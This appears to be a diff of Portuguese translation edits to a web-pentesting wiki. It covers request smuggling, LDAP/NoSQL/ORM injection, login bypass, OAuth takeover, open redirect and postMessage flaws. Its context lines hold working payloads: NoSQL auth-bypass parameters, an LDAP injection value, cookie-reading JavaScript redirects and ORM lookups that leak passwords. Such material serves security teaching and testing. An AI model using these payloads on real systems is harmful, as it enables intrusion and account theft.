+Note o pedido embutido direcionado a `/post/next?postId=3`. Este pedido será redirecionado para `/post?postId=4`, utilizando o **valor do cabeçalho Host** para determinar o domínio. Ao alterar o **cabeçalho Host**, o atacante pode redirecionar o pedido para seu domínio (**redirecionamento no site para redirecionamento aberto**).
 
-Após um **envenenamento de socket** bem-sucedido, um **pedido GET** para `/static/include.js` deve ser iniciado. Este pedido será contaminado pelo anterior pedido de **redirecionamento no local para redirecionamento aberto** e buscará o conteúdo do script controlado pelo atacante.
+Após um **envenenamento de socket** bem-sucedido, um **pedido GET** para `/static/include.js` deve ser iniciado. Este pedido será contaminado pelo anterior pedido de **redirecionamento no site para redirecionamento aberto** e buscará o conteúdo do script controlado pelo atacante.
 
 Subsequentemente, qualquer pedido para `/static/include.js` servirá o conteúdo em cache do script do atacante, efetivamente lançando um amplo ataque XSS.
 
@@ -505,7 +505,7 @@ Subsequentemente, qualquer pedido para `/static/include.js` servirá o conteúdo
 > - No **envenenamento de cache web**, o atacante faz com que a aplicação armazene algum conteúdo malicioso no cache, e esse conteúdo é servido do cache para outros usuários da aplicação.
 > - No **engano de cache web**, o atacante faz com que a aplicação armazene algum conteúdo sensível pertencente a outro usuário no cache, e o atacante então recupera esse conteúdo do cache.
 
-O atacante cria um pedido contrabandeado que busca conteúdo sensível específico do usuário. Considere o seguinte exemplo:
+O atacante elabora um pedido contrabandeado que busca conteúdo sensível específico do usuário. Considere o seguinte exemplo:
 ```markdown
 `POST / HTTP/1.1`\
 `Host: vulnerable-website.com`\

src/pentesting-web/http-response-smuggling-desync.md

@@ -8,7 +8,7 @@
 
 Primeiramente, esta técnica **explora uma vulnerabilidade de HTTP Request Smuggling**, então você precisa saber o que é:
 
-A **principal** **diferença** entre esta técnica e um comum HTTP Request smuggling é que **em vez de** **atacar** a **requisição** da **vítima** **adicionando um prefixo a ela**, nós vamos **vazar ou modificar a resposta que a vítima recebe**. Isso é feito ao invés de enviar 1 requisição e meia para abusar do HTTP Request smuggling, **enviar 2 requisições completas para desincronizar a fila de respostas dos proxies**.
+A **principal** **diferença** entre esta técnica e um comum HTTP Request Smuggling é que **em vez de** **atacar** a **requisição** da **vítima** **adicionando um prefixo a ela**, nós vamos **vazar ou modificar a resposta que a vítima recebe**. Isso é feito ao invés de enviar 1 requisição e meia para abusar do HTTP Request Smuggling, **enviar 2 requisições completas para desincronizar a fila de respostas dos proxies**.
 
 Isso ocorre porque vamos conseguir **desincronizar a fila de respostas** para que a **resposta** da **requisição** **legítima** da **vítima seja enviada ao atacante**, ou **injetando conteúdo controlado pelo atacante na resposta para a vítima**.
 
@@ -16,7 +16,7 @@ Isso ocorre porque vamos conseguir **desincronizar a fila de respostas** para qu
 
 HTTP/1.1 permite solicitar **recursos diferentes sem precisar esperar pelos anteriores**. Portanto, se houver um **proxy** no **meio**, é tarefa do proxy **manter uma correspondência sincronizada das requisições enviadas para o backend e as respostas que vêm dele**.
 
-No entanto, há um problema em desincronizar a fila de respostas. Se um atacante enviar um ataque de HTTP Response smuggling e as respostas para a **requisição inicial e a smuggled forem respondidas imediatamente**, a resposta smuggled não será inserida na fila de resposta da vítima, mas será **apenas descartada como um erro**.
+No entanto, há um problema em desincronizar a fila de respostas. Se um atacante enviar um ataque de HTTP Response Smuggling e as respostas para a **requisição inicial e a smuggled forem respondidas imediatamente**, a resposta smuggled não será inserida na fila de resposta da vítima, mas será **apenas descartada como um erro**.
 
 ![](<../images/image (633).png>)
 
@@ -42,7 +42,7 @@ Como explicado anteriormente, para abusar desta técnica, é necessário que a *
 
 Esta **requisição que consome tempo é suficiente** se apenas quisermos **tentar roubar a resposta da vítima.** Mas se você quiser realizar um exploit mais complexo, esta será uma estrutura comum para o exploit.
 
-Primeiramente a **requisição inicial** abusando do **HTTP** **Request** **smuggling**, em seguida a **requisição que consome tempo** e depois **1 ou mais requisições de payload** cujas respostas serão enviadas para as vítimas.
+Primeiramente a **requisição inicial** abusando do **HTTP** **Request** **smuggling**, depois a **requisição que consome tempo** e então **1 ou mais requisições de payload** cujas respostas serão enviadas para as vítimas.
 
 ## Abusando da Desincronização da Fila de Respostas HTTP
 
@@ -54,7 +54,7 @@ Primeiro, o atacante envia um payload contendo uma **requisição POST final com
 
 ![](<../images/image (1053).png>)
 
-Então, uma vez que a **requisição inicial** (azul) foi **processada** e **enquanto** a **requisição lenta** está sendo processada (amarelo), a **próxima requisição que chega de uma vítima** será **adicionada na fila logo após o parâmetro refletido**:
+Então, uma vez que a **requisição inicial** (azul) foi **processada** e **enquanto** a **requisição lenta** está sendo processada (amarela), a **próxima requisição que chega de uma vítima** será **adicionada na fila logo após o parâmetro refletido**:
 
 ![](<../images/image (794).png>)
 
@@ -64,7 +64,7 @@ Então, a **vítima** receberá a **resposta para a requisição lenta** e se, n
 
 Até este ponto, aprendemos como abusar de ataques de HTTP Request Smuggling para **controlar** a **requisição** **cuja** **resposta** um **cliente** vai **receber** e como você pode então **roubar a resposta que era destinada à vítima**.
 
-Mas ainda é possível **desincronizar ainda mais** as respostas.
+Mas ainda é possível **desincronizar ainda** mais as respostas.
 
 Existem requisições interessantes como a **requisição HEAD** que são especificadas para não ter **nenhum conteúdo dentro do corpo das respostas** e que devem (devem) **conter o Content-Length** da requisição como **se fosse uma requisição GET**.
 
@@ -127,6 +127,6 @@ A vítima receberá como resposta a **resposta HEAD + o conteúdo da resposta da
 
 No entanto, note como os **dados refletidos tinham um tamanho de acordo com o Content-Length** da **resposta HEAD** que **gerou uma resposta HTTP válida na fila de respostas**.
 
-Portanto, a **próxima requisição da segunda vítima** estará **recebendo** como **resposta algo completamente elaborado pelo atacante**. Como a resposta é completamente elaborada pelo atacante, ele também pode **fazer o proxy armazenar a resposta**.
+Portanto, a **próxima requisição do segundo vítima** estará **recebendo** como **resposta algo completamente elaborado pelo atacante**. Como a resposta é completamente elaborada pelo atacante, ele também pode **fazer o proxy armazenar a resposta**.
 
 {{#include ../banners/hacktricks-training.md}}

src/pentesting-web/ldap-injection.md

@@ -52,7 +52,7 @@ Exemplo: `(&(directory=val1)(folder=public))`
 `(&(objectClass=VALUE1)(type=Epson*))`\
 `VALUE1 = *)(ObjectClass=*))(&(objectClass=void`
 
-Então: `(&(objectClass=`**`*)(ObjectClass=*))`** será o primeiro filtro (o que é executado).
+Então: `(&(objectClass=`**`*)(ObjectClass=*))`** será o primeiro filtro (o que será executado).
 
 ### Login Bypass
 

src/pentesting-web/login-bypass/README.md

@@ -16,12 +16,12 @@ Se você encontrar uma página de login, aqui você pode encontrar algumas técn
 - O nodejs transformará essa carga em uma consulta semelhante à seguinte: ` SELECT id, username, left(password, 8) AS snipped_password, email FROM accounts WHERE username='admin' AND`` `` `**`password=password=1`**`;` o que faz com que a parte da senha seja sempre verdadeira.
 - Se você puder enviar um objeto JSON, pode enviar `"password":{"password": 1}` para contornar o login.
 - Lembre-se de que para contornar este login você ainda precisa **saber e enviar um nome de usuário válido**.
-- **Adicionar `"stringifyObjects":true`** opção ao chamar `mysql.createConnection` eventualmente **bloqueará todos os comportamentos inesperados quando `Object` for passado** no parâmetro.
+- **Adicionar `"stringifyObjects":true`** como opção ao chamar `mysql.createConnection` eventualmente **bloqueará todos os comportamentos inesperados quando `Object` for passado** no parâmetro.
 - Verifique as credenciais:
 - [**Credenciais padrão**](../../generic-hacking/brute-force.md#default-credentials) da tecnologia/plataforma utilizada
 - **Combinações comuns** (root, admin, password, nome da tecnologia, usuário padrão com uma dessas senhas).
-- Crie um dicionário usando **Cewl**, **adicione** o **nome de usuário** e a senha **padrão** (se houver) e tente forçar a entrada usando todas as palavras como **nomes de usuário e senhas**
-- **Forçar a entrada** usando um dicionário maior (**[**Brute force**](../../generic-hacking/brute-force.md#http-post-form)**)
+- Crie um dicionário usando **Cewl**, **adicione** o **nome de usuário** e a senha **padrão** (se houver) e tente forçar a senha usando todas as palavras como **nomes de usuário e senhas**
+- **Forçar** usando um dicionário maior (**[**Brute force**](../../generic-hacking/brute-force.md#http-post-form)**)
 
 ### Bypass de autenticação por SQL Injection
 
@@ -37,7 +37,7 @@ sql-login-bypass.md
 
 [Aqui você pode encontrar várias dicas para contornar o login via **No SQL Injections**](../nosql-injection.md#basic-authentication-bypass)**.**
 
-Como as NoSQL Injections requerem a alteração do valor dos parâmetros, você precisará testá-los manualmente.
+Como as NoSQL Injections exigem a alteração do valor dos parâmetros, você precisará testá-los manualmente.
 
 ### Bypass de autenticação por XPath Injection
 
@@ -79,12 +79,12 @@ Se a página tiver a funcionalidade "**Lembre-se de Mim**", verifique como ela
 
 ### Redirecionamentos
 
-As páginas geralmente redirecionam os usuários após o login, verifique se você pode alterar esse redirecionamento para causar um [**Redirecionamento Aberto**](../open-redirect.md). Talvez você possa roubar algumas informações (códigos, cookies...) se redirecionar o usuário para o seu site.
+As páginas geralmente redirecionam os usuários após o login, verifique se você pode alterar esse redirecionamento para causar um [**Open Redirect**](../open-redirect.md). Talvez você possa roubar algumas informações (códigos, cookies...) se redirecionar o usuário para o seu site.
 
 ## Outras Verificações
 
 - Verifique se você pode **enumerar nomes de usuários** abusando da funcionalidade de login.
-- Verifique se o **preenchimento automático** está ativo nos **formulários** de senha/**informações** **sensíveis** **entrada:** `<input autocomplete="false">`
+- Verifique se o **preenchimento automático** está ativo nos **formulários** de senha/**informações** **sensíveis** **input:** `<input autocomplete="false">`
 
 ## Ferramentas Automáticas
 

src/pentesting-web/nosql-injection.md

@@ -19,7 +19,7 @@ username[$nin][admin]=admin&username[$nin][test]=test&pass[$ne]=7 #<Matches non
 ```
 ### Bypass de autenticação básica
 
-**Usando not equal ($ne) ou greater ($gt)**
+**Usando não igual ($ne) ou maior ($gt)**
 ```bash
 #in URL
 username[$ne]=toto&password[$ne]=toto

src/pentesting-web/oauth-to-account-takeover.md

@@ -12,9 +12,9 @@ Considere um site hipotético _**https://example.com**_, projetado para **exibir
 É essencial compreender os seguintes componentes dentro da estrutura do OAuth 2.0:
 
 - **proprietário do recurso**: Você, como o **usuário/entidade**, autoriza o acesso ao seu recurso, como as postagens da sua conta de rede social.
-- **servidor de recursos**: O **servidor que gerencia solicitações autenticadas** após o aplicativo ter obtido um `access token` em nome do `proprietário do recurso`, por exemplo, **https://socialmedia.com**.
+- **servidor de recursos**: O **servidor que gerencia solicitações autenticadas** após o aplicativo ter obtido um `access token` em nome do `proprietário do recurso`, e.g., **https://socialmedia.com**.
 - **aplicativo cliente**: O **aplicativo que busca autorização** do `proprietário do recurso`, como **https://example.com**.
-- **servidor de autorização**: O **servidor que emite `access tokens`** para o `aplicativo cliente` após a autenticação bem-sucedida do `proprietário do recurso` e a obtenção da autorização, por exemplo, **https://socialmedia.com**.
+- **servidor de autorização**: O **servidor que emite `access tokens`** para o `aplicativo cliente` após a autenticação bem-sucedida do `proprietário do recurso` e a obtenção da autorização, e.g., **https://socialmedia.com**.
 - **client_id**: Um identificador público e único para o aplicativo.
 - **client_secret:** Uma chave confidencial, conhecida apenas pelo aplicativo e pelo servidor de autorização, usada para gerar `access_tokens`.
 - **response_type**: Um valor que especifica **o tipo de token solicitado**, como `code`.
@@ -45,7 +45,7 @@ https://socialmedia.com/auth
 ```
 https://example.com?code=uniqueCode123&state=randomString123
 ```
-5. https://example.com utiliza este `code`, junto com seu `client_id` e `client_secret`, para fazer uma solicitação do lado do servidor para obter um `access_token` em seu nome, permitindo o acesso às permissões que você consentiu:
+5. https://example.com utiliza este `code`, juntamente com seu `client_id` e `client_secret`, para fazer uma solicitação do lado do servidor para obter um `access_token` em seu nome, permitindo o acesso às permissões que você consentiu:
 ```
 POST /oauth/access_token
 Host: socialmedia.com
@@ -55,9 +55,7 @@ Host: socialmedia.com
 
 ## Vulnerabilidades <a href="#id-323a" id="id-323a"></a>
 
-### Open redirect_uri <a href="#cc36" id="cc36"></a>
-
-O `redirect_uri` é crucial para a segurança em implementações de OAuth e OpenID, pois direciona onde dados sensíveis, como códigos de autorização, são enviados após a autorização. Se mal configurado, pode permitir que atacantes redirecionem essas solicitações para servidores maliciosos, possibilitando a tomada de conta.
+O `redirect_uri` é crucial para a segurança em implementações de OAuth e OpenID, pois direciona para onde dados sensíveis, como códigos de autorização, são enviados após a autorização. Se mal configurado, pode permitir que atacantes redirecionem essas solicitações para servidores maliciosos, possibilitando a tomada de conta.
 
 As técnicas de exploração variam com base na lógica de validação do servidor de autorização. Elas podem variar desde correspondência estrita de caminho até aceitar qualquer URL dentro do domínio ou subdiretório especificado. Métodos comuns de exploração incluem redirecionamentos abertos, travessia de caminho, exploração de regex fracas e injeção de HTML para roubo de token.
 
@@ -83,7 +81,7 @@ O manuseio e a validação adequados do **`state` parameter** são cruciais para
 
 ### Pre Account Takeover <a href="#ebe4" id="ebe4"></a>
 
-1. **Sem Verificação de Email na Criação da Conta**: Os atacantes podem criar proativamente uma conta usando o email da vítima. Se a vítima usar um serviço de terceiros para login, a aplicação pode inadvertidamente vincular essa conta de terceiros à conta pré-criada do atacante, levando a acesso não autorizado.
+1. **Sem Verificação de Email na Criação da Conta**: Os atacantes podem criar proativamente uma conta usando o email da vítima. Se a vítima usar posteriormente um serviço de terceiros para login, a aplicação pode inadvertidamente vincular essa conta de terceiros à conta pré-criada do atacante, levando a acesso não autorizado.
 2. **Explorando a Verificação de Email Laxa do OAuth**: Os atacantes podem explorar serviços de OAuth que não verificam emails registrando-se com seu serviço e, em seguida, alterando o email da conta para o da vítima. Esse método também arrisca o acesso não autorizado à conta, semelhante ao primeiro cenário, mas através de um vetor de ataque diferente.
 
 ### Divulgação de Segredos <a href="#e177" id="e177"></a>
@@ -92,9 +90,9 @@ Identificar e proteger parâmetros secretos do OAuth é crucial. Enquanto o **`c
 
 Uma vulnerabilidade comum surge quando as aplicações lidam erroneamente com a troca do `code` de autorização por um `access_token` no lado do cliente em vez do lado do servidor. Esse erro leva à exposição do `client_secret`, permitindo que os atacantes gerem `access_tokens` sob a aparência da aplicação. Além disso, através de engenharia social, os atacantes poderiam escalar privilégios adicionando escopos adicionais à autorização do OAuth, explorando ainda mais o status de confiança da aplicação.
 
-### Força Bruta do Client Secret
+### Bruteforce do Client Secret
 
-Você pode tentar **forçar a senha do client_secret** de um provedor de serviços com o provedor de identidade para tentar roubar contas.\
+Você pode tentar **bruteforce o client_secret** de um provedor de serviços com o provedor de identidade para tentar roubar contas.\
 A solicitação para BF pode parecer semelhante a:
 ```
 POST /token HTTP/1.1
@@ -163,7 +161,7 @@ De acordo com [**este artigo**](https://medium.com/@metnew/why-electron-apps-can
 
 Para contornar esse prompt, era possível abrir uma aba para iniciar o **fluxo Oauth** que definiria esse cookie RU usando o **returnUrl**, fechar a aba antes que o prompt fosse exibido e abrir uma nova aba sem esse valor. Assim, o **prompt não informaria sobre o host do atacante**, mas o cookie seria definido para ele, então o **token seria enviado para o host do atacante** na redireção.
 
-### Bypass de Interação com Prompt <a href="#bda5" id="bda5"></a>
+### Bypass de Interação do Prompt <a href="#bda5" id="bda5"></a>
 
 Como explicado em [**este vídeo**](https://www.youtube.com/watch?v=n9x7_J_a_7Q), algumas implementações de OAuth permitem indicar o parâmetro **`prompt`** GET como None (**`&prompt=none`**) para **evitar que os usuários sejam solicitados a confirmar** o acesso concedido em um prompt na web se já estiverem logados na plataforma.
 

src/pentesting-web/open-redirect.md

@@ -57,7 +57,7 @@ javascript://whitelisted.com?%a0alert%281%29
 /x:1/:///%01javascript:alert(document.cookie)/
 ";alert(0);//
 ```
-## Redirecionamento Aberto enviando arquivos svg
+## Open Redirect enviando arquivos svg
 ```markup
 <code>
 <?xml version="1.0" encoding="UTF-8" standalone="yes"?>

src/pentesting-web/orm-injection.md

@@ -8,7 +8,7 @@ Em [**este post**](https://www.elttam.com/blog/plormbing-your-django-orm/) é ex
 
 <pre class="language-python"><code class="lang-python">class ArticleView(APIView):
 """
-Uma visão básica da API que os usuários enviam solicitações para
+Uma visão de API básica que os usuários enviam solicitações para
 procurar artigos
 """
 def post(self, request: Request, format=None):
@@ -43,7 +43,7 @@ Exemplos:
 > [!CAUTION]
 > É possível encontrar a senha de todos os usuários que criaram um artigo
 
-- **Filtragem relacional muitos-para-muitos**: No exemplo anterior, não conseguimos encontrar senhas de usuários que não criaram um artigo. No entanto, seguindo outras relações, isso é possível. Por exemplo: Article(`created_by`) -\[1..1]-> Author(`departments`) -\[0..\*]-> Department(`employees`) -\[0..\*]-> Author(`user`) -\[1..1]-> User(`password`).
+- **Filtragem relacional muitos-para-muitos**: No exemplo anterior, não conseguimos encontrar senhas de usuários que não criaram um artigo. No entanto, seguindo outros relacionamentos, isso é possível. Por exemplo: Article(`created_by`) -\[1..1]-> Author(`departments`) -\[0..\*]-> Department(`employees`) -\[0..\*]-> Author(`user`) -\[1..1]-> User(`password`).
 ```json
 {
 "created_by__departments__employees__user_startswith": "admi"
@@ -52,7 +52,7 @@ Exemplos:
 > [!CAUTION]
 > Neste caso, podemos encontrar todos os usuários nos departamentos de usuários que criaram artigos e, em seguida, vazar suas senhas (no json anterior, estamos apenas vazando os nomes de usuário, mas depois é possível vazar as senhas).
 
-- **Abusando das relações muitos-para-muitos de Grupo e Permissão do Django com usuários**: Além disso, o modelo AbstractUser é usado para gerar usuários no Django e, por padrão, esse modelo possui algumas **relações muitos-para-muitos com as tabelas de Permissão e Grupo**. O que basicamente é uma maneira padrão de **acessar outros usuários a partir de um usuário** se eles estiverem no **mesmo grupo ou compartilharem a mesma permissão**.
+- **Abusando das relações muitos-para-muitos de Grupo e Permissão do Django com usuários**: Além disso, o modelo AbstractUser é usado para gerar usuários no Django e, por padrão, esse modelo tem algumas **relações muitos-para-muitos com as tabelas de Permissão e Grupo**. O que basicamente é uma maneira padrão de **acessar outros usuários a partir de um usuário** se eles estiverem no **mesmo grupo ou compartilharem a mesma permissão**.
 ```bash
 # By users in the same group
 created_by__user__groups__user__password
@@ -60,7 +60,7 @@ created_by__user__groups__user__password
 # By users with the same permission
 created_by__user__user_permissions__user__password
 ```
-- **Bypass filter restrictions**: O mesmo post do blog propôs contornar o uso de alguns filtros como `articles = Article.objects.filter(is_secret=False, **request.data)`. É possível despejar artigos que têm is_secret=True porque podemos voltar de um relacionamento para a tabela Article e vazar artigos secretos a partir de artigos não secretos, pois os resultados são unidos e o campo is_secret é verificado no artigo não secreto enquanto os dados são vazados do artigo secreto.
+- **Bypass filter restrictions**: O mesmo blog propôs contornar o uso de alguns filtros como `articles = Article.objects.filter(is_secret=False, **request.data)`. É possível despejar artigos que têm is_secret=True porque podemos voltar de um relacionamento para a tabela Article e vazar artigos secretos a partir de artigos não secretos, pois os resultados são unidos e o campo is_secret é verificado no artigo não secreto enquanto os dados são vazados do artigo secreto.
 ```bash
 Article.objects.filter(is_secret=False, categories__articles__id=2)
 ```
@@ -290,7 +290,7 @@ GET /posts?q[user_reset_password_token_start]=0
 GET /posts?q[user_reset_password_token_start]=1
 ...
 ```
-Ao forçar por brute-force e potencialmente relacionamentos, foi possível vazar mais dados de um banco de dados.
+Ao forçar por força bruta e potencialmente relacionamentos, foi possível vazar mais dados de um banco de dados.
 
 ## Referências
 

src/pentesting-web/parameter-pollution.md

@@ -32,7 +32,7 @@ A transação pode ser incorretamente cobrada para `accountC` em vez de `account
 
 - **Contexto:** Um mecanismo de login que requer uma Senha de Uso Único (OTP) foi explorado.
 - **Método:** Ao interceptar a solicitação de OTP usando ferramentas como Burp Suite, os atacantes duplicaram o parâmetro `email` na solicitação HTTP.
-- **Resultado:** O OTP, destinado ao email inicial, foi enviado para o segundo endereço de email especificado na solicitação manipulada. Essa falha permitiu acesso não autorizado ao contornar a medida de segurança pretendida.
+- **Resultado:** O OTP, destinado ao email inicial, foi enviado para o segundo endereço de email especificado na solicitação manipulada. Essa falha permitiu acesso não autorizado, contornando a medida de segurança pretendida.
 
 Esse cenário destaca uma falha crítica no backend da aplicação, que processou o primeiro parâmetro `email` para a geração de OTP, mas usou o último para entrega.
 
@@ -49,7 +49,7 @@ Esse exemplo reforça ainda mais a necessidade de um manuseio seguro de parâmet
 
 A forma como as tecnologias web lidam com parâmetros HTTP duplicados varia, afetando sua suscetibilidade a ataques HPP:
 
-- **Flask:** Adota o primeiro valor de parâmetro encontrado, como `a=1` em uma string de consulta `a=1&a=2`, priorizando a instância inicial em relação às duplicatas subsequentes.
+- **Flask:** Adota o primeiro valor de parâmetro encontrado, como `a=1` em uma string de consulta `a=1&a=2`, priorizando a instância inicial em relação a duplicatas subsequentes.
 - **PHP (no Apache HTTP Server):** Por outro lado, prioriza o último valor de parâmetro, optando por `a=2` no exemplo dado. Esse comportamento pode inadvertidamente facilitar explorações de HPP ao honrar o parâmetro manipulado do atacante em vez do original.
 
 ## Poluição de parâmetros por tecnologia
@@ -62,7 +62,7 @@ Os resultados foram obtidos de [https://medium.com/@0xAwali/http-parameter-pollu
 
 1. Ignorar qualquer coisa após %00 no nome do parâmetro.
 2. Tratar name\[] como array.
-3. \_GET não significa Método GET.
+3. \_GET não significa método GET.
 4. Preferir o último parâmetro.
 
 ### Ruby 3.3.5 e WEBrick 1.8.2
@@ -124,7 +124,7 @@ Os resultados foram obtidos de [https://medium.com/@0xAwali/http-parameter-pollu
 ```ini
 obj = {"test": "user", "test": "admin"}
 ```
-A interface pode acreditar na primeira ocorrência, enquanto o backend usa a segunda ocorrência da chave.
+A interface pode acreditar na primeira ocorrência enquanto o backend usa a segunda ocorrência da chave.
 
 ### Colisão de Chaves: Truncamento de Caracteres e Comentários
 
@@ -135,7 +135,7 @@ Certos caracteres não serão interpretados corretamente pela interface, mas o b
 {"test": 1, "test"": 2}
 {"test": 1, "te\st": 2}
 ```
-Observe como, nesses casos, o front end pode pensar que `test == 1` e o backend pensará que `test == 2`.
+Observe como, nesses casos, o front end pode pensar que `test == 1` e o back end pensará que `test == 2`.
 
 Isso também pode ser usado para contornar restrições de valor como:
 ```json
@@ -196,7 +196,7 @@ pode ser decodificado em múltiplas representações, incluindo:
 0
 9223372036854775807
 ```
-Que pode criar inconsistências
+O que pode criar inconsistências
 
 ## Referências
 

src/pentesting-web/pocs-and-polygloths-cheatsheet/README.md

@@ -5,7 +5,7 @@
 O objetivo dessas PoCs e Polygloths é fornecer ao testador um **resumo** rápido das vulnerabilidades que ele pode explorar se sua **entrada estiver de alguma forma sendo refletida na resposta**.
 
 > [!WARNING]
-> Este **cheat sheet não propõe uma lista abrangente de testes para cada vulnerabilidade**, apenas alguns básicos. Se você está procurando por testes mais abrangentes, acesse cada vulnerabilidade proposta.
+> Este **cheat sheet não propõe uma lista abrangente de testes para cada vulnerabilidade**, apenas alguns básicos. Se você está procurando testes mais abrangentes, acesse cada vulnerabilidade proposta.
 
 > [!CAUTION]
 > Você **não encontrará injeções dependentes de Content-Type como XXE**, pois geralmente você tentará isso por conta própria se encontrar uma solicitação enviando dados xml. Você **também não encontrará injeções de banco de dados** aqui, pois mesmo que algum conteúdo possa ser refletido, isso depende fortemente da tecnologia e estrutura do banco de dados backend.
@@ -94,7 +94,7 @@ $(ls)
 ```markup
 <br><b><h1>THIS IS AND INJECTED TITLE </h1>
 ```
-## [Inclusão de Arquivo/Traversal de Caminho](../file-inclusion/)
+## [Inclusão de Arquivo/Travessia de Caminho](../file-inclusion/)
 
 ### Testes Básicos
 ```bash
@@ -159,7 +159,7 @@ ${{7*7}}
 ```python
 {{7*7}}${7*7}<%= 7*7 %>${{7*7}}#{7*7}${{<%[%'"}}%\
 ```
-## [Injeção do Lado do Servidor XSLT](../xslt-server-side-injection-extensible-stylesheet-language-transformations.md)
+## [Injeção de Servidor XSLT](../xslt-server-side-injection-extensible-stylesheet-language-transformations.md)
 
 ### Testes Básicos
 ```markup

src/pentesting-web/postmessage-vulnerabilities/README.md

@@ -69,7 +69,7 @@ if (event.origin !== "http://example.org:8080") return
 false
 )
 ```
-Note neste caso como a **primeira coisa** que o código está fazendo é **verificando a origem**. Isso é terrivelmente **importante**, principalmente se a página for fazer **algo sensível** com as informações recebidas (como mudar uma senha). **Se não verificar a origem, atacantes podem fazer com que as vítimas enviem dados arbitrários para esses endpoints** e mudem as senhas das vítimas (neste exemplo).
+Note neste caso como a **primeira coisa** que o código está fazendo é **verificando a origem**. Isso é terrivelmente **importante**, principalmente se a página for fazer **qualquer coisa sensível** com as informações recebidas (como mudar uma senha). **Se não verificar a origem, atacantes podem fazer com que as vítimas enviem dados arbitrários para esses endpoints** e mudem as senhas das vítimas (neste exemplo).
 
 ### Enumeração
 
@@ -86,7 +86,7 @@ Para **encontrar ouvintes de eventos** na página atual, você pode:
 
 - Usar uma **extensão de navegador** como [**https://github.com/benso-io/posta**](https://github.com/benso-io/posta) ou [https://github.com/fransr/postMessage-tracker](https://github.com/fransr/postMessage-tracker). Essas extensões de navegador irão **interceptar todas as mensagens** e mostrá-las para você.
 
-### Bypass de verificação de origem
+### Contornos de verificação de origem
 
 - O atributo **`event.isTrusted`** é considerado seguro, pois retorna `True` apenas para eventos gerados por ações genuínas do usuário. Embora seja desafiador contornar se implementado corretamente, sua importância nas verificações de segurança é notável.
 - O uso de **`indexOf()`** para validação de origem em eventos PostMessage pode ser suscetível a contornos. Um exemplo que ilustra essa vulnerabilidade é:
@@ -124,13 +124,13 @@ No contexto dessa vulnerabilidade, o objeto `File` é notavelmente explorável d
 
 - A propriedade `document.domain` em JavaScript pode ser definida por um script para encurtar o domínio, permitindo uma aplicação mais relaxada da política de mesma origem dentro do mesmo domínio pai.
 
-### e.origin == window.origin bypass
+### contorno de e.origin == window.origin
 
 Ao incorporar uma página da web dentro de um **iframe sandboxed** usando %%%%%%, é crucial entender que a origem do iframe será definida como nula. Isso é particularmente importante ao lidar com **atributos de sandbox** e suas implicações na segurança e funcionalidade.
 
 Ao especificar **`allow-popups`** no atributo sandbox, qualquer janela pop-up aberta de dentro do iframe herda as restrições de sandbox de seu pai. Isso significa que, a menos que o atributo **`allow-popups-to-escape-sandbox`** também seja incluído, a origem da janela pop-up é igualmente definida como `null`, alinhando-se com a origem do iframe.
 
-Consequentemente, quando uma pop-up é aberta nessas condições e uma mensagem é enviada do iframe para a pop-up usando **`postMessage`**, tanto os lados de envio quanto de recebimento têm suas origens definidas como `null`. Essa situação leva a um cenário onde **`e.origin == window.origin`** avalia como verdadeiro (`null == null`), porque tanto o iframe quanto a pop-up compartilham o mesmo valor de origem `null`.
+Consequentemente, quando uma pop-up é aberta nessas condições e uma mensagem é enviada do iframe para a pop-up usando **`postMessage`**, ambas as extremidades de envio e recebimento têm suas origens definidas como `null`. Essa situação leva a um cenário onde **`e.origin == window.origin`** avalia como verdadeiro (`null == null`), porque tanto o iframe quanto a pop-up compartilham o mesmo valor de origem `null`.
 
 Para mais informações **leia**:
 
@@ -167,7 +167,7 @@ setTimeout(function(){w.postMessage('text here','*');}, 2000);
 ```
 ### Roubo de mensagem enviada para o filho bloqueando a página principal
 
-Na página a seguir, você pode ver como poderia roubar um **sensitive postmessage data** enviado para um **child iframe** bloqueando a **main** página antes de enviar os dados e abusando de um **XSS no filho** para **leak the data** antes que seja recebido:
+Na página a seguir, você pode ver como poderia roubar um **sensitive postmessage data** enviado para um **child iframe** ao **bloquear** a página **principal** antes de enviar os dados e abusar de um **XSS no filho** para **leak the data** antes que seja recebido:
 
 {{#ref}}
 blocking-main-page-to-steal-postmessage.md
@@ -175,7 +175,7 @@ blocking-main-page-to-steal-postmessage.md
 
 ### Roubo de mensagem modificando a localização do iframe
 
-Se você pode iframe uma página da web sem X-Frame-Header que contém outro iframe, você pode **change the location of that child iframe**, então se ele estiver recebendo um **postmessage** enviado usando um **wildcard**, um atacante poderia **change** a **origin** desse iframe para uma página **controlled** por ele e **steal** a mensagem:
+Se você puder iframe uma página da web sem X-Frame-Header que contém outro iframe, você pode **mudar a localização desse child iframe**, então se ele estiver recebendo um **postmessage** enviado usando um **wildcard**, um atacante poderia **change** a **origin** desse iframe para uma página **controlled** por ele e **steal** a mensagem:
 
 {{#ref}}
 steal-postmessage-modifying-iframe-location.md

src/pentesting-web/postmessage-vulnerabilities/blocking-main-page-to-steal-postmessage.md

@@ -20,7 +20,7 @@ $("#previewModal").modal()
 }
 })
 ```
-então era possível enviar um **número inteiro grande em um postmessage** que será **convertido para string** nessa comparação, o que levará algum tempo:
+então era possível enviar um **número inteiro grande em um postmessage** que será **convertido em string** nessa comparação, o que levará algum tempo:
 ```bash
 const buffer = new Uint8Array(1e7);
 win?.postMessage(buffer, '*', [buffer.buffer]);

src/pentesting-web/postmessage-vulnerabilities/bypassing-sop-with-iframes-1.md

@@ -34,7 +34,7 @@ Assim, abrir um **popup** de uma **origem nula** fará com que **`window.origin`
 
 Portanto, para este desafio, pode-se **criar** um **iframe**, **abrir um popup** para a página com o manipulador de código XSS vulnerável (`/iframe.php`), como `window.origin === e.origin` porque ambos são `null`, é possível **enviar um payload que irá explorar o XSS**.
 
-Esse **payload** obterá o **identificador** e enviará um **XSS** de volta para a **página principal** (a página que abriu o popup), **que** irá **mudar a localização** para o **vulnerável** `/iframe.php`. Como o identificador é conhecido, não importa que a condição `window.origin === e.origin` não seja satisfeita (lembre-se, a origem é o **popup** do iframe que tem **origem** **`null`**) porque `data.identifier === identifier`. Então, o **XSS será acionado novamente**, desta vez na origem correta.
+Esse **payload** obterá o **identificador** e enviará um **XSS** de volta para a **página principal** (a página que abriu o popup), **que** irá **mudar de localização** para o **vulnerável** `/iframe.php`. Como o identificador é conhecido, não importa que a condição `window.origin === e.origin` não seja satisfeita (lembre-se, a origem é o **popup** do iframe que tem **origem** **`null`**) porque `data.identifier === identifier`. Então, o **XSS será acionado novamente**, desta vez na origem correta.
 ```html
 <body>
 <script>

src/pentesting-web/proxy-waf-protections-bypass.md

@@ -98,11 +98,11 @@ Connection: close\r\n
 ```
